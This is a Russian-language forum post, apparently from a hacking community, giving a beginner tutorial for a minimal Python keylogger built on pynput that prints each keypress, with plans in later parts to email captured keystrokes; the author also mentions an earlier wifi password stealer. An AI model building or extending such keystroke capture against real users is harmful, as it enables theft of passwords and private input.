Свой мини кейлоггер на python

Anorali

Pro Member
Сообщения
82
Оценка реакций
120
*Документация к pynput -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Всем привет, недавно я написал статью о создании стиллера паролей от wifi, я не рассчитывал и на 50 просмотров, но нашему много уважаемому учителю CMDfromBAT она показалась довольно забавной и он решил закинуть её на главную форума, и тут как попёрло!) Короче 1k просмотров и я понял, что пора писать ещё) Сначала я хотел написать backdoor, но я ленивый и взял кое-что полегче - кейлоггер) и конечно же python!

Для нашего кейлоггера мы будем использовать библиотеку pynput, предварительно установив её командой

pip install pynput

Импортируем библиотеку

Python:
import pynput.keyboard
Далее нам нужно создать объект, прослушивающий клавиатуру

Python:
keyboard_listener = pynput.keyboard.Listener()
Затем нам нужно вызвать функцию обратного вызова, которая будет вырабатываться при каждом нажатии клавиши

Python:
def process_key_press(key):
    print(key) # пока мы просто будем выводить результат

keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
Итак, у нас есть переменная с результатом нажатия клавиш, но мы с ней ничего не сделали. Чтобы запустить listener мы будем использовать ключевое слово with. По сути в питоне слово with, используется для работы с не контролируемыми потоками данных.

Python:
with keyboard_listener:
    keyboard_listener.join()
Вот и всё!

Python:
import pynput.keyboard

def process_key_press(key):
    print(key)

keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
    keyboard_listener.join()
При этом я учитываю, что вы читали документацию pynput (ссылка вверху), а иначе в дальнейшем будет не легко понять, что вообще происходит!

Тестим:

Открываем два окна с терминалом, в первом окне запускаем наш мини кейлоггер, а во второй что нибудь пишем

вот результат:

Снимок экрана 2020-06-22 06:16:01.png

*Всё особые клавиши, по типу backspace выводятся через "Key."

С основной частью мы закончили(написание самого кейлоггера). Я разделил эту статью на несколько частей, это первая, в дальнейших мы будем всё больше и больше совершенствовать свой код, вывод программы будет более понятный и приходить на почту)

Всем удачи!